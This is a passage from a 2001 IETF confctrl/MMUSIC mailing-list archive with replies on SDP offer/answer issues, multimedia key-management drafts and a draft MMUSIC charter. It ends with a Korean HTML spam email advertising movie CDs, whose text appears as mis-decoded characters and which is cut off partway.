admittedly a little rusty (cc'ing more knowledgeable people here), but I
believe the problem is that the H.245 OpenLogicaChannel request can be
used to
open a uni-directional or bi-directional stream, however in either case,
it is
possible that the sender and receiver end up specifying different
payload type
mappings for a given codec. This is particular troublesome in the case
where
the two sides open a uni-directional stream to the other side in
parallel.

Given the long-standing existing SDP/offer/answer baggage we have here,
I
believe you need to go for the lowest common denominator when mapping
between
SIP/SDP and H.323, and hence H.323 should have procedures in place to
resolve
asymmetric payload type mappings in cases where you need symmetry, but I
wanted to raise the issue here to see what people think.

Thanks

        Flemming

>
> -Jonathan R.
>
> --
> Jonathan D. Rosenberg, Ph.D.            72 Eagle Rock Avenue
> Chief Scientist                         First Floor
> dynamicsoft                             East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                 FAX: (973) 952-5050
> http://www.jdrosen.net                  PH:  (973) 952-5000
> http://www.dynamicsoft.com
>
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic

--
Flemming Andreasen
Cisco Systems

From confctrl-owner  Thu Dec 20 11:02:32 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA06411
	for confctrl-outgoing; Thu, 20 Dec 2001 11:02:32 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA06406
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 11:02:31 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKJ3Jg25394
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 11:03:20 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBKJ2k908982;
	Thu, 20 Dec 2001 14:03:03 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAH17659 (AUTH pkyzivat);
	Thu, 20 Dec 2001 14:02:24 -0500 (EST)
Message-ID: <3C223470.18E804AE@cisco.com>
Date: Thu, 20 Dec 2001 13:56:48 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: mmusic@ietf.org, confctrl@ISI.EDU
Subject: Re: resolving open issues in offer/answer
References: <3C2041D2.2030908@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Comments below - Paul

Jonathan Rosenberg wrote:
> 
> Folks,
> 
> I want to try and move swiftly towards closure of the open issues in
> offer/answer. I presented slides at IETF 52 on these issues, which you
> can pick up from:

> ISSUE 2: Be prepared to send&recv on bidirectional stream when you send
> the SDP. Consensus to update text to indicate that you need to be
> prepared to both send and receive.

I don't understand the point in requiring someone to be prepared to
send. 

Even if you are fully prepared to send, you may not send anything
because you just don't have anything to say. Can the spec mandate that
you MUST send something? From a normative viewpoint, it is impossible to
distinguish between not being prepared to send and not wanting to send
anything.

> 
> ISSUE 3: Multiple streams of the same type. See the slides for the
> issue. My proposal was accepted, with the caveat that we would add
> wording to clarify that the default operation is NOT to copy media from
> your own local sinks to sources, unless you happen to be a conference
> server.

I don't have any substantial objection to what you propose. But the
first two listed requirements can be met in cursory ways:

- the requirement that sources must be sent to one or more streams begs
the question of when you do or don't have a source. For instance, if I
mute my phone, have I removed a source or have I stopped sending the
source to a stream?

- I believe the bit bucket is a perfectly valid sink. I can always
dispose of input from a stream by conjuring up a bit bucket sink to send
it to.

So, is there any point in imposing these requirements?

> 
> ISSUE 4: synchronizing codec changes. The agreement at the meeting was a
> third proposal. Whenever you send a new offer with a set of codecs which
>   is not the same as the previous, and overlaps in some way, you
> basically use a new dynamic PT for each codec. THis way, when the UA
> receives media with one of those new PT, it can unload any of the codecs
> which no longer overlap.

This proposal is very RTP-centric. It refers almost exclusively to
codecs and payload types, but those are specific to the RTP Audio/Video
profile. The general term in SDP is "media format", and the encoding and
semantics of them are media specific. A general requirement that
mandates use of new dynamic payload types can't fly. There needs to be a
set of general requirements for any kind of media, and then if there are
specific requirements for the RTP Audio/Video profile, then they need to
be expressed as such.

Elaborating on an example from sdp-new, if I have been using

     m=application 32416 udp wb xx

and I want to switch to using

     m=application 32416 udp wb yy

I need to be able to decide when I can stop using xx.

> 
> Since the meeting, I have become worried about this. Basically, any
> useful reinvite will require new dynamic PT for all codecs. You could
> very well exhaust the set of dynamic PT, since there are so few (127 of
> them).
> 
> Some other ideas:
> 
> 1. change the ssrc when you send with the new codec set. The receiver
> can drop uneeded codecs when it sees the new ssrc. This only works for
> unicast.
> 
> 2. change in set of codecs has to also be accompanied by a port change;
> when you see data on the new port, you can unload any unneeded codecs.

This last proposal might solve the general problem.
Presumably this would be optional - without a port change you have to
use implementation specific heuristics to decide when to unload.

From confctrl-owner  Thu Dec 20 12:15:55 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id MAA09035
	for confctrl-outgoing; Thu, 20 Dec 2001 12:15:55 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id MAA09030
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 12:15:54 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKKGhg08783
	for <confctrl@ISI.EDU>; Thu, 20 Dec 2001 12:16:43 -0800 (PST)
Received: from cisco.com (rtp-vpn2-199.cisco.com [10.82.240.199])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBKKG2112586;
	Thu, 20 Dec 2001 12:16:02 -0800 (PST)
Message-ID: <3C224707.47C2E1BD@cisco.com>
Date: Thu, 20 Dec 2001 15:16:07 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fredrik Lindholm (ERA)" <Fredrik.Lindholm@era.ericsson.se>
CC: msec@securemulticast.org, confctrl@ISI.EDU,
        "Elisabetta Carrara (ERA)" <Elisabetta.Carrara@era.ericsson.se>,
        mmusic@ietf.org
Subject: Re: Key Management for Multimedia Sessions
References: <0DAEDF148988D411BB980008C7E65D2E04FE3EDB@esealnt416>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

One comment:

For the SDP extension, both keymgmt-data and key-extra-auth are simply using the "byte-string" construct to provide the actual values. It would seem preferable to adopt the existing SDP mechanism (for keys) and specify the encoding method used, e.g. "clear" or "base64", as I imagine it's possible for some protocols to want to use the values
excluded in byte-string.

A similar comment applies to the RTSP header which just recommends using base64 encoding, implying that other encoding methods could be used, however there's no way of specifying these.

Regards

            Flemming



"Fredrik Lindholm (ERA)" wrote:

> FYI
>
> The following drafts are the continuation of the work on the "Key Management for Multimedia Sessions" draft presented in London (at the MSEC and MMUSIC sessions). The original draft has now been split between the MMUSIC WG (where key management extensions to SDP and RTSP are handled) and the MSEC WG (where the protocol itself is handled).
>
> The MSEC draft ("MIKEY: Multimedia Internet KEYing") can be found at:
> http://www.ietf.org/internet-drafts/draft-ietf-msec-mikey-00.txt
>
> and the MMUSIC draft ("Key Management Extensions for SDP and RTSP") can be found at:
> http://www.ietf.org/internet-drafts/draft-ietf-mmusic-kmgmt-ext-00.txt
>
> We would appreciate any comments.
>
> Fredrik & Elisabetta

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Dec 20 14:07:41 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA13027
	for confctrl-outgoing; Thu, 20 Dec 2001 14:07:41 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA13022
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 14:07:40 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBKM8Og20890;
	Thu, 20 Dec 2001 14:08:24 -0800 (PST)
Received: from cisco.com (rtp-vpn2-199.cisco.com [10.82.240.199])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBKM8H113008;
	Thu, 20 Dec 2001 14:08:17 -0800 (PST)
Message-ID: <3C226172.A9ACC455@cisco.com>
Date: Thu, 20 Dec 2001 17:08:50 -0500
From: Flemming Andreasen <fandreas@cisco.com>
X-Mailer: Mozilla 4.78 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <csp@ISI.EDU>
CC: confctrl@ISI.EDU
Subject: Re: [MMUSIC] Draft MMUSIC Charter
References: <200112111538.fBBFcUV04366@purple.nge.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Colin Perkins wrote:

> Folks,
>
> I enclose our draft for a new MMUSIC charter, comments would be appreciated.
>
> Note that the new mailing list is now ready for subscription, and that we
> will be discontinuing use of the confctrl@isi.edu list shortly. You should
> subscribe to the new list - we will not be automatically transferring
> subscriptions.
>
> Colin and Joerg
>
> Multiparty MUltimedia SessIon Control (MMUSIC)
> ==============================================
>
> WG chairs:
>
> Joerg Ott, ipDialog, Inc. <jo@ipdialog.com>
> Colin Perkins, USC/ISI    <csp@isi.edu>
>
> Mailing Lists:
>
> General Discussion:  mmusic@ietf.org
> To Subscribe:        mmusic-request@ietf.org
> Info & Archive:      http://www.ietf.org/mailman/listinfo/mmusic
> Additional web page: http://www.dmn.tzi.de/ietf/mmusic/
>
> Description of Working Group:
>
> The Multiparty MUltimedia SessIon Control (MMUSIC) Working Group (WG)
> was chartered to develop protocols to support Internet
> teleconferencing sessions.  These protocols are now reasonably mature,
> and many of them have received widespread deployment.  MMUSIC is now
> focussing on the revisions of these in the light of implementation
> experience and additional demands that have arisen from other WGs
> (such as AVT, SIP, SIPPING, and MEGACO).
>
> All types of multimedia communications are based upon a common
> platform for expressing media streams (session) descriptions. This is
> the session description protocol, SDP.  The many uses of SDP have led
> to (requests for) numerous extensions, and have led to recognition of
> several flaws in the protocol design for key applications of SDP.
> MMUSIC will revise the SDP specification suitable for publication as a
> draft standard to address minor revision and further support the
> current broad deployment.  Work on an SDP MIB will be considered.
>
> A few extensions to SDP will be pursued to remedy the most urgent of
> SDP's shortcomings: However, these are limited to, adding means for
> identifying and semantically grouping media sessions, providing
> limited expressiveness for simultaneous capabilities, offering support
> to work with NATs and firewalls, and documenting the use of SDP in SIP

It's not just for SIP, but for all answer/offer users of SDP.

>
> as a separate document.  Apart from these, only extensions within the
> existing framework of SDP will be done -- such as registering new
> codecs and defining parameters for them as well as extending SDP to
> include new address families.
>
> Instead, to address the more fundamental issues with SDP, a next
> generation of SDP -- referred to as SDPng -- will be developed as a
> standards track document.  A requirements document will be devised
> that gathers the individual requirements from the areas in which SDP
> is currently deployed.  Work on an SDPng MIB will be considered.
>

Also, a strategy for co-existence and transitioning from SDP to SDPng would be
developed I believe.


>
> MMUSIC will continue to maintain and revise the specification of the
> Real Time Streaming Protocol (RTSP) based on implementation
> experience.  The RTSP spec will be revised to include various fixes
> and clarifications.  Depending on the changes, the revised RTSP spec
> will be re-issued as Proposed or go to Draft Standard.  A MIB will
> also be defined.
>
> The WG's work items will be pursued in close coordination with other
> IETF WGs related to multimedia conferencing and IP telephony (AVT,
> SIP, SIPPING, IPTEL, MEGACO).  Where appropriate, new separate working
> groups will be split off (as has happened with the SIP WG).
>
> The Working Group is also charged with addressing security issues
> related to the protocols it develops.
>
> Goals and Milestones:
>
> DONE   Submit ATM Extensions to SDP for Proposed Standard
>
> DONE   Submit Mbus transport for Informational
>
> DONE   Submit ATM Extensions to SDP for Proposed Standard
>
> Dec 01 Submit SDP simultaneous capabilities for Proposed Standard
>
> Dec 01 Submit SDP Flow Identification for Proposed Standard
>
> Jan 02 Submit IPv6 Extensions to SDP for Proposed Standard
>
> Feb 02 Submit revised SDP spec for Proposed (or Draft) Standard
>
> Feb 02 Submit SIP's offer/answer use of SDP for Proposed Standard

Not just for SIP, but any user of offer/answer SDP.

-- Flemming

>
>
> Mar 02 Submit SDP4NAT for Proposed Standard (Informational?)
>
> Mar 02 Submit SDP key management for Proposed Standard
>
> Apr 02 Submit SDPng base spec for Proposed Standard
>
> Apr 02 Submit SDPng audio profile for Proposed Standard
>
> May 02 Submit revised RTSP spec for Proposed or Draft Standard (as appropriate)
>
> Jun 02 Submit SDPng video profile spec for Proposed Standard
>
> Jul 02 Submit RTSP MIB for Proposed Standard
>
> _______________________________________________
> mmusic mailing list
> mmusic@ietf.org
> https://www1.ietf.org/mailman/listinfo/mmusic

--
Flemming Andreasen
Cisco Systems



From confctrl-owner  Thu Dec 20 17:00:38 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA19870
	for confctrl-outgoing; Thu, 20 Dec 2001 17:00:38 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA19834
	for <confctrl@zephyr.isi.edu>; Thu, 20 Dec 2001 17:00:34 -0800 (PST)
Received: from hellotel.co.kr ([61.99.120.2])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBL11Cg28759
	for <confctrl@isi.edu>; Thu, 20 Dec 2001 17:01:12 -0800 (PST)
Received: from IMAS Messaging Application Server 2.0(61.99.120.2) by hellotel.co.kr(<pe20011221093637718-88444>);
	Fri, 21 Dec 2001 09:36:37 +0900
Message-ID: <20011221093637.1033116591@super>
From: "SATCampus" <buy@satcumpus.com>
To: "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: [±¤°í] °¡Àå Àç¹ÌÀÖ°Ô ¿µÈ­¸¦ º¸´Â ¹æ¹ý
Date: Fri, 21 Dec 2001 09:36:37 +0900
MIME-Version: 1.0
Content-Type: text/html; charset=euc-kr
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<!-- saved from url=(0022)http://internet.e-mail -->
<html>
<head>
<title>+ SATÄ·ÆÛ½º + CCFE + Ưº° À̺¥Æ®</title>
<meta http-equiv='Content-Type' content='text/html; charset=euc-kr'>
<base href='http://www.satcampus.com'>
<link rel='stylesheet' href='http://www.satcampus.com/css/common.css' type='text/css'>
<style>
a:link {text-decoration:none; color:#2A2A2A;}
a:visited {text-decoration:none; color:#2A2A2A;}
a:active {text-decoration:none; color:#2A2A2A;}
a:hover {text-decoration:underline; color:#0281D6;}

body
{
  font-family: 'Arial', 'Helvetica', 'sans-serif';
  font-size: 9pt;
  text-align: center;
  color: #2A2A2A;
  /*
  margin-down: 0px; 
  margin-left: 0px; 
  margin-right: 0px; 
  margin-top: 0px; 
  */
}

img {border: none;}
p {font-family:'Verdana'; font-size: 9pt;; color: #2A2A2A}
td {font-family:'Verdana'; font-size: 9pt; line-height: 20px; color: #2A2A2A}
input {font-family: 'Verdana'; font-size: 9pt;; color: #2A2A2A; border: #999999; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
select {font-family:'Verdana'; font-size: 9pt;; color: #2A2A2A}
textarea {font-family:'Verdana'; font-size: 9pt;; color: #2A2A2A; border:solid 1 #999999;}
.imgbg_01 {  background-image: url(/image/main/img_03.jpg); background-repeat: no-repeat; background-position: right bottom}
.imgbg_02 {  background-image: url(/image/main/img_04.jpg); background-repeat: no-repeat; background-position: right bottom}
.imgbg_03 {  background-image: url(/image/main/img_05.jpg); background-repeat: no-repeat; background-position: right bottom}
.no_input {  border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px}
.td_white {  border: #FFFFFF; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
.commbg_01 {  background-image:  url(/image/comm/main/m_ci_03b.gif); background-repeat: no-repeat; background-position: right bottom}
.right {  margin-right: 20px}
.left {  margin-left: 20px}
.img_04 {  background-image: url(/image/comm/reporter/img_02.jpg); background-repeat: no-repeat; background-position: left bottom}
.reportbg_01 {  background-image: url(/image/comm/reporter/img_02.jpg); background-repeat: no-repeat; background-position: left bottom}
.pollbg_01 {  background-image: url(/image/comm/poll/img_02.gif); background-repeat: no-repeat; background-position: right bottom}
.pollbg_02 {  background-image: url(/image/comm/poll/img_01.jpg); background-repeat: no-repeat; background-position: left bottom}
.color {  border-color: #00CC00 #009900 #009900 #006600; border-style: solid; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px}
.layer {  filter: Alpha(Opacity=0)?, FinishOpacity=?, Style=?, StartX=?, StartY=?, FinishX=?, FinishY=?)?, Style=?, StartX=?, StartY=?, FinishX=?, FinishY=?)}
</style>
</head>

<BODY text=#000000 bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" 
marginwidth="0">
<TABLE cellSpacing=0 cellPadding=0 width=611 border=0>
  <TBODY>
  <TR>
    <TD height=10></TD>
    <TD></TD></TR>
  <TR>
    <TD width=100><A href="http://www.satcampus.com/" target=_blank><IMG height=38 src="http://www.satcampus.com/image/join/mail/logo.gif" width=94 border=0></A></TD>
    <TD vAlign=bottom align=right width=511><FONT color=#1882d4><A href="http://www.satcampus.com/satcampus/" target=_blank><FONT 
      color=#1882d4>SATÄ·ÆÛ½º</FONT></A> | <A href="http://www.satcampus.com/test/" target=_blank><FONT 
      color=#1882d4>½ÃÇèÁ¤º¸</FONT></A> | <A href="http://www.satcampus.com/academy/" target=_blank><FONT 
      color=#1882d4>¾ÆÄ«µ¥¹Ì</FONT></A> | <A href="http://www.satcampus.com/abroad/" target=_blank><FONT 
      color=#1882d4>À¯ÇÐÁ¤º¸</FONT></A> | <A href="http://www.satcampus.com/comm/" target=_blank><FONT 
      color=#1882d4>Ä¿¹Â´ÏƼ</FONT></A> | <A href="http://www.satcampus.com/mail/" target=_blank><FONT 
      color=#1882d4>À¥¸ÞÀÏ</FONT></A> | <A href="http://www.satcampus.com/online/" target=_blank><FONT 
      color=#1882d4>¿Â¶óÀΰ­ÀÇ</FONT></A> </FONT></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=611 border=0>
  <TBODY>
  <TR>
    <TD><IMG height=156 src="http://www.satcampus.com/image/mailing/mailing_1216_27.gif" width=190></TD>
    <TD><IMG height=156 src="http://www.satcampus.com/image/mailing/mailing_1216_28.gif" width=228></TD>
    <TD><IMG height=156 src="http://www.satcampus.com/image/mailing/mailing_1216_29.jpg" width=193></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=611 border=0>
  <TBODY>
  <TR>
    <TD>
      <TABLE cellSpacing=0 cellPadding=0 width=611 
      background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif 
      border=0>
        <TBODY>
        <TR>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1216_03patt.gif>
            <TABLE cellSpacing=0 cellPadding=0 width=611 border=0>
              <TBODY>
              <TR>
                <TD><IMG height=169 src="http://www.satcampus.com/image/mailing/mailing_1216_01.gif" width=611></TD></TR>
              <TR>
                <TD><A href="http://www.satcampus.com/ccfe/?m=0301"><IMG height=31 src="http://www.satcampus.com/image/mailing/mailing_1216_02.gif" width=611 border=0></A></TD></TR>
              <TR>
                <TD align=middle>
                  <TABLE cellSpacing=0 cellPadding=0 width=505 border=0>
                    <TBODY>
                    <TR>
                      <TD vAlign=top rowSpan=3><A href="http://www.satcampus.com/ccfe/?m=0301"><IMG height=96 src="http://www.satcampus.com/image/mailing/mailing_1216_09.gif" width=122 border=0></A></TD>
                      <TD vAlign=center width=214>
                        <P style="LINE-HEIGHT: 160%">1. º¥Çã(4CD) <BR>2. ¸¶Áö¸· ȲÁ¦ 
                        (3CD) <BR>3. Å͹̳×ÀÌÅÍ 2 (3CD) <BR>4. Ŭ¸®ÇÁÇó¾î (2CD) <BR>5. 
                        »çÀÌ´õÇϿ콺 (2CD) </P></TD>
                      <TD vAlign=center width=214>
                        <P style="LINE-HEIGHT: 160%">6. ·ÎºóÈÊ (2CD) <BR>7. ÄÚµå³×ÀÓ Äܵ¹ 
                        (2CD) <BR>8. ¶÷º¸ 2 (2CD) <BR>9. ¶ó½ºÆ®¸ðÈ÷Ä­ (2CD) <BR>10. ·Î½ºÆ®ÀÎ 
                        ½ºÆäÀ̽º (2CD) </P></TD></TR>
                    <TR>
                      <TD width=428 
                      background=http://www.satcampus.com/image/mailing/mailing_1216_04patt.gif 
                      colSpan=2 height=1></TD></TR>
                    <TR>
                      <TD align=right width=428 colSpan=2 height=20><IMG height=23 src="http://www.satcampus.com/image/mailing/mailing_1216_05.gif" width=281> 
                        &nbsp; <A href="http://www.satcampus.com/ccfe/?m=0301"><IMG height=20 src="http://www.satcampus.com/image/mailing/mailing_1216_29_icon.gif" width=76 border=0></A></TD></TR></TBODY></TABLE></TD></TR>
              <TR>
                <TD align=middle height=10></TD></TR>
              <TR>
                <TD align=middle><A href="http://www.satcampus.com/ccfe/?m=0302"><IMG height=28 src="http://www.satcampus.com/image/mailing/mailing_1216_06.gif" width=611 border=0></A></TD></TR>
              <TR>
                <TD align=middle>
                  <TABLE cellSpacing=0 cellPadding=0 width=505 border=0>
                    <TBODY>
                    <TR>
                      <TD vAlign=top width=122 rowSpan=3><A href="http://www.satcampus.com/ccfe/?m=0302"><IMG height=96 src="http://www.satcampus.com/image/mailing/mailing_1216_10.gif" width=122 border=0></A></TD>
                      <TD vAlign=center width=170>
                        <P style="LINE-HEIGHT: 160%">1. ´Á´ë¿Í ÇÔ²² ÃãÀ» (2CD)<BR>2. 
                        Áö¿ÁÀÇ ¹¬½Ã·Ï (3CD) <BR>3. ·¯ºê½ºÅ丮 (2CD)<BR>4. ·Î¹Ì¿À¿Í ÁÙ¸®¿§(2CD) 
                        <BR>5. ·¹¿Ë (2CD) </P></TD>
                      <TD vAlign=center width=213>
                        <P style="LINE-HEIGHT: 160%">6. ½Ê°è (4CD) <BR>7. Ä«»çºí¶ûÄ« 
                        (2CD) <BR>8. ´©±¸¸¦ À§ÇÏ¿© Á¾À» ¿ï¸®³ª (3CD) <BR>9. ¹Ù¶÷°ú ÇÔ²² »ç¶óÁö´Ù 
                        (4CD) <BR>10. Äõ¹Ùµð½º (3CD) </P></TD></TR>
                    <TR>
                      <TD 
                      background=http://www.satcampus.com/image/mailing/mailing_1216_04patt.gif 
                      colSpan=2 height=1></TD></TR>
                    <TR>
                      <TD align=right colSpan=2><IMG height=23 src="http://www.satcampus.com/image/mailing/mailing_1216_05.gif" width=281> 
                        &nbsp; <A href="http://www.satcampus.com/ccfe/?m=0302"><IMG height=20 src="http://www.satcampus.com/image/mailing/mailing_1216_29_icon.gif" width=76 border=0></A></TD></TR></TBODY></TABLE></TD></TR>
              <TR>
                <TD align=middle height=5></TD></TR>
              <TR>
                <TD align=middle><A href="http://www.satcampus.com/ccfe/?m=0303"><IMG height=28 src="http://www.satcampus.com/image/mailing/mailing_1216_07.gif" width=611 border=0></A></TD></TR>
              <TR>
                <TD align=middle>
                  <TABLE cellSpacing=0 cellPadding=0 width=505 border=0>
                    <TBODY>
                    <TR>
                      <TD vAlign=top rowSpan=3><A href="http://www.satcampus.com/ccfe/?m=0303"><IMG height=96 src="http://www.satcampus.com/image/mailing/mailing_1216_11.gif" width=122 border=0></A></TD>
                      <TD vAlign=center width=214>
                        <P style="LINE-HEIGHT: 160%">1. ´ÚÅÍ Áö¹Ù°í (2CD) <BR>2. »ï¼Õ°ú 
                        µ¥¸®¶ó (2CD) <BR>3. ·Î¸¶ÀÇ ÈÞÀÏ (2CD) <BR>4. ÆĶó´ÙÀ̽º (2CD) <BR>5. 
                        Á¹¾÷ (2CD) </P></TD>
                      <TD vAlign=center width=214>
                        <P style="LINE-HEIGHT: 160%">6. ·ÎºóÈÊ (2CD) <BR>7. ÄÚµå³×ÀÓ Äܵ¹ 
                        (2CD) <BR>8. ¶÷º¸ 2 (2CD) <BR>9. ¶ó½ºÆ®¸ðÈ÷Ä­ (2CD) <BR>10. ·Î½ºÆ®ÀÎ 
                        ½ºÆäÀ̽º (2CD) </P></TD></TR>
                    <TR>
                      <TD width=428 
                      background=http://www.satcampus.com/image/mailing/mailing_1216_04patt.gif 
                      colSpan=2 height=1></TD></TR>
                    <TR>
                      <TD align=right width=428 colSpan=2><IMG height=23 src="http://www.satcampus.com/image/mailing/mailing_1216_05.gif" width=281><A href="http://www.satcampus.com/ccfe/?m=0303"> 
                        &nbsp; <IMG height=20 src="http://www.satcampus.com/image/mailing/mailing_1216_29_icon.gif" width=76 border=0></A></TD></TR></TBODY></TABLE></TD></TR>
              <TR>
                <TD align=middle height=10></TD></TR>
              <TR>
                <TD align=middle><A href="http://www.satcampus.com/ccfe/?m=0304"><IMG height=28 src="http://www.satcampus.com/image/mailing/mailing_1216_08.gif" width=611 border=0></A></TD></TR>
              <TR>
                <TD align=middle>
                  <TABLE cellSpacing=0 cellPadding=0 width=505 border=0>
                    <TBODY>
                    <TR>
                      <TD vAlign=top rowSpan=3><A href="http://www.satcampus.com/ccfe/?m=0304"><IMG height=96 src="http://www.satcampus.com/image/mailing/mailing_1216_23.gif" width=122 border=0></A></TD>
                      <TD vAlign=center align=middle><IMG height=76 src="http://www.satcampus.com/image/mailing/mailing_1216_16.gif" width=309></TD></TR>
                    <TR>
                      <TD width=428 
                      background=http://www.satcampus.com/image/mailing/mailing_1216_04patt.gif 
                      height=1></TD></TR>
                    <TR>
                      <TD align=right width=428><IMG height=25 src="http://www.satcampus.com/image/mailing/mailing_1216_13.gif" width=288> 
                        <A href="http://www.satcampus.com/ccfe/?m=0304"><IMG height=20 src="http://www.satcampus.com/image/mailing/mailing_1216_29_icon.gif" width=76 border=0></A> 
                      </TD></TR></TBODY></TABLE></TD></TR>
              <TR>
                <TD align=middle><IMG height=262 src="http://www.satcampus.com/image/mailing/mailing_1216_12.gif" width=611></TD></TR></TBODY></TABLE></TD></TR>
        <TR>
          <TD align=middle>
            <TABLE cellSpacing=0 cellPadding=0 width=609 border=0>
              <TBODY>
              <TR>
                <TD align=middle 
                background=http://www.satcampus.com/image/mailing/mailing_1214_10.gif><A href="http://www.satcampus.com/ccfe/" target=_blank><IMG height=35 src="http://www.satcampus.com/image/mailing/mailing_1216_14.gif" width=611 border=0></A></TD></TR></TBODY></TABLE></TD></TR>
        <TR>
          <TD><IMG height=14 src="http://www.satcampus.com/image/mailing/mailing_1216_15.gif" width=611></TD></TR>
        <TR>
          <TD>&nbsp;</TD></TR>
        <TR align=middle>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif>
            <TABLE height=83 cellSpacing=0 cellPadding=0 width=608 border=0>
              <TBODY>
              <TR>
                <TD align=right width=154 height=65><IMG height=172 src="http://www.satcampus.com/image/mailing/ani_arrow.gif" width=153></TD>
                <TD width=141 height=65><IMG height=172 src="http://www.satcampus.com/image/mailing/ani_arrow2.gif" width=141></TD>
                <TD width=46 height=65><IMG height=172 src="http://www.satcampus.com/image/mailing/ani_arrow3.gif" width=156></TD>
                <TD width=267 height=65><IMG height=172 src="http://www.satcampus.com/image/mailing/ani_arrow4.gif" width=158></TD></TR></TBODY></TABLE></TD></TR>
        <TR align=middle>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif>
            <TABLE height=229 cellSpacing=0 cellPadding=0 width=608 
            background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif 
            border=0>
              <TBODY>
              <TR>
                <TD align=right width=183 height=133><IMG height=140 src="http://www.satcampus.com/image/mailing/0_big.gif" width=182></TD>
                <TD width=141 height=133><IMG height=140 src="http://www.satcampus.com/image/mailing/2_big.gif" width=202></TD>
                <TD width=284 height=133><IMG height=140 src="http://www.satcampus.com/image/mailing/4_big.gif" width=225></TD></TR>
              <TR>
                <TD align=right width=183 height=133><IMG height=185 src="http://www.satcampus.com/image/mailing/1_big.gif" width=182></TD>
                <TD width=141 height=133><IMG height=185 src="http://www.satcampus.com/image/mailing/3_big.gif" width=202></TD>
                <TD width=284 height=133><IMG height=185 src="http://www.satcampus.com/image/mailing/5_big.gif" width=225></TD></TR></TBODY></TABLE></TD></TR>
        <TR align=middle>
          <TD 
          background=http://www.satcampus.com/image/mailing/mailing_1215_4patt.gif 
          height=30>
            <TABLE cellSpacing=0 cellPadding=0 width=492 bgColor=#ffffff 
            border=0>
              <TBODY>
              <TR>
                <TD align=middle height=3>
                  <MARQUEE><FONT face=µ¸¿ò color=#333333 size=2>¿µÈ­¼Ó ¹è¿ì·ÎºÎÅÍ <FONT 
                  color=#ff6600>¿µ¾î ·¿½¼</FONT>À» ¹ÞÀ¸¸é ¿Ïº®ÇÑ ¿µ¾î°¡ <FONT color=#cc6600>½ï½ï 
